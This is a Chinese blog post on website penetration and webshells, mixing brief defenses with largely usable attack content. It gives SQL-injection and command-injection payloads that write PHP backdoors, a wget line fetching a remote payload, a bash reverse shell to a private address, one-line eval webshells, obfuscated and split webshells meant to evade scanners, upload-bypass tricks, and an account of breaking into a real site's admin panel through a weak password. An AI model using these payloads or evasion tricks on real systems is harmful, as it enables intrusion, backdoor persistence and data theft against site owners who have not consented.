渗透测试

为什么要入侵一个网站

2016-08-11  本文已影响794人  青山i
我们为什么要入侵一个网站

我觉得以我现在的水平无法回答这个问题。

但是我客观的认为,入侵一个网站最根本的原因是想拿到我们想要的数据,
不管我们是站在的立场是什么。

什么是webshell

webshell就是以aspphp、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

1.webshell用于网站管理,服务器管理根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令
2.另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。

我们如何成功的上传一个webshell

利用load_file('/etc/passwd')读取文件
index.php?id=1 union select 1,2,3,'<?php phpinfo(); ?>' into
outfile '/var/www/html/phpinfo.php'
防御:
1.数据库连接账号不使用root权限
2.php报错功能关闭
3.mysql账户没有权限向网站目录下写文件
4.过滤单引号
测试上传,
1.本地绕过(文件类型,MIME,文件内容)
2.截断上传,/xx.php%00jsp,实现上传木马
3.上传.htaccess目录,控制解析的脚本。(利用jpg后缀的解析php文件)
4.绕过黑名单。

3.利用解析漏洞(查看web服务器,类型,版本)工具firebug,burp等。

有apache,nginx,IIS,php-cgi
防御:
1.使用服务端验证
2.检测文件类容
3.文件类容加载,和二次渲染。
index.php?command=echo "<?php phpinfo(); ?>" > /var/www/
html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php
http://xxxx/phpinfo.txt

2.反弹shell到本地

1.bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(linux环境下)
执行远程Samba里面的二进制文件
2.在windows7环境以下,
\\10.0.0.1\shell.exe   
windows8环境以后powershell
Powershell经常通过注册表,开始菜单,或者计划任务来实现自启动的目的,通常用sysinternals的autorun就能找到了。
另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以达到和
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一样的效果。

防御:
过滤单个特殊符号,使用escapeshellarg和addslashes函数过滤。

1.index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=<?php phpinfo(); ?>
如果apache没有对网站目录有写权限
index.php?code=eval($_POST[1]);直接写入一句话。
1.先读取/etc配置文件获取日志文件的路径
2.然后使用curl请求服务,在请求后面写入一句话木马
3.或是利用burp抓包,改包,将php代码插入到get请求中,或是user-agent中。

3.远程包含一个有木马的txt文件
防御:
过滤.(点)/(斜杠)\(反斜杠)
使用open_basedir配置限制访问限制指定区域。

** 如何查杀webshell**

静态查杀特征:
1.特殊敏感字符eval,file_put_contents(),include()。等等函数
2.phpinfo,system,php_uname,chmod,fopen,flclose,readfile,edoced_46esab常见的特征
3.利用编码

<?php
@$_++;
$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);?>
<?
@$_POST[0]($_POST[1])
<?
@eval($_POST[1])
来实现免查杀

4.使用调回函数callback

<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd=<title>{${phpinfo()}}</tile>

5.利用include函数在脚本文件中加载一个


    include_path = “E:\PHPnow-1.5.6\htdocs;”

这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的
文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,
这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,
就可以通过php添加页眉的共能,将一句话写入网站首页。

6.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

实例

找到网站后台,弱密码登录。
利用网站特有功能,创建文件夹,和文件上传功能。


然后上传一个php文件发现不允许上传。

![]J$8C4.png](https://img.haomeiwen.com/i2495234/2a1a151552b6d3fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

通过本地抓包,修改文件后缀。


成功上传php代码。


不幸的是,他有waf,现在的水平只能望而兴叹。

上一篇 下一篇

猜你喜欢

热点阅读